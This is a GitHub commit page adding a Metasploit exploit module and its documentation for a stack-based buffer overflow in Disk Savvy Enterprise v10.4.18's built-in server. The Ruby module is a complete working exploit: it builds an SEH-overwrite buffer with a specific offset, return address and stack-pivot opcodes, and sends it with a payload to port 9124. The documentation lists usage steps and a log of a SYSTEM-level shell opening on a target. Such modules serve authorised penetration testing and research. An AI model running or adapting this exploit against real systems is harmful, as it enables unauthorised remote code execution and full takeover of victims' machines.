Skip to content

Commit 107a41a

Browse files
committed
Land rapid7#9561, Disk Savvy Enterprise v10.4.18 built-in server buffer overflow
2 parents aec1b25 + ab6f6d7 commit 107a41a

File tree

2 files changed

+116
-0
lines changed

2 files changed

+116
-0
lines changed
Lines changed: 39 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,39 @@
1+
## Vulnerable Application
2+
3+
[DiskSavvy Enterprise](http://www.disksavvy.com/) version v10.4.18, affected by a stack-based buffer overflow vulnerability caused by improper bounds checking of the request sent to the built-in server which can be leveraged by an attacker to execute arbitrary code in the context of NT AUTHORITY\SYSTEM on the target.. This module has been tested successfully on Windows 7 SP1 x86. The vulnerable application is available for download at [DiskSavvy Enterprise](http://www.disksavvy.com/setups/disksavvyent_setup_v10.4.18.exe).
4+
5+
## Verification Steps
6+
1. Install a vulnerable DiskSavvy Enterprise
7+
2. Start `msfconsole`
8+
3. Do `use exploit/windows/misc/disk_savvy_adm`
9+
4. Do `set RHOST ip`
10+
5. Do `set PAYLOAD windows/shell/bind_tcp`
11+
6. Do `exploit`
12+
7. Enjoy your shell
13+
14+
## Scenarios
15+
16+
### DiskSavvy Enterprise v10.4.18 on Windows 7 SP1 x86
17+
18+
```
19+
msf > use exploit/windows/misc/disk_savvy_adm
20+
msf exploit(windows/misc/disk_savvy_adm) > set RHOST 192.168.216.55
21+
RHOST => 192.168.216.55
22+
msf exploit(windows/misc/disk_savvy_adm) > set payload windows/shell/bind_tcp
23+
payload => windows/shell/bind_tcp
24+
msf exploit(windows/misc/disk_savvy_adm) > exploit
25+
26+
[*] Started bind handler
27+
[*] Encoded stage with x86/shikata_ga_nai
28+
[*] Sending encoded stage (267 bytes) to 192.168.216.55
29+
[*] Command shell session 1 opened (192.168.216.5:36113 -> 192.168.216.55:4444) at 2018-02-14 15:19:02 -0500
30+
31+
Microsoft Windows [Version 6.1.7601]
32+
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
33+
34+
C:\Windows\system32>whoami
35+
whoami
36+
nt authority\system
37+
38+
C:\Windows\system32>
39+
```
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Exploit::Remote
7+
Rank = GreatRanking
8+
9+
include Msf::Exploit::Remote::Tcp
10+
include Msf::Exploit::Remote::Seh
11+
12+
def initialize(info = {})
13+
super(update_info(info,
14+
'Name' => 'Disk Savvy Enterprise v10.4.18',
15+
'Description' => %q{
16+
This module exploits a stack-based buffer overflow vulnerability
17+
in Disk Savvy Enterprise v10.4.18, caused by improper bounds
18+
checking of the request sent to the built-in server. This module
19+
has been tested successfully on Windows 7 SP1 x86.
20+
},
21+
'License' => MSF_LICENSE,
22+
'Author' =>
23+
[
24+
'Daniel Teixeira'
25+
],
26+
'DefaultOptions' =>
27+
{
28+
'EXITFUNC' => 'thread'
29+
},
30+
'Platform' => 'win',
31+
'Payload' =>
32+
{
33+
'BadChars' => "\x00\x02\x0a\x0d\xf8",
34+
'Space' => 800
35+
},
36+
'Targets' =>
37+
[
38+
[ 'Disk Savvy Enterprise v10.4.18',
39+
{
40+
'Offset' => 124,
41+
'Ret' => 0x10056d13
42+
}
43+
]
44+
],
45+
'Privileged' => true,
46+
'DisclosureDate' => 'Jan 31 2017',
47+
'DefaultTarget' => 0))
48+
49+
register_options([Opt::RPORT(9124)])
50+
51+
end
52+
53+
def exploit
54+
seh = generate_seh_record(target.ret)
55+
connect
56+
57+
buffer = make_nops(target['Offset'])
58+
buffer << seh
59+
buffer << "\x83\xc4\x7f" * 13 #ADD esp,7fh
60+
buffer << "\x83\xc4\x21" #ADD esp,21h
61+
buffer << "\xff\xe4" #JMP esp
62+
buffer << payload.encoded
63+
buffer << Rex::Text.rand_text_alphanumeric(1)
64+
65+
header = "\x75\x19\xba\xab"
66+
header << "\x03\x00\x00\x00"
67+
header << "\x00\x40\x00\x00"
68+
header << [buffer.length].pack("V")
69+
header << [buffer.length].pack("V")
70+
header << [buffer[-1].ord].pack("V")
71+
packet = header
72+
packet << buffer
73+
74+
sock.put(packet)
75+
handler
76+
end
77+
end

0 commit comments

Comments
 (0)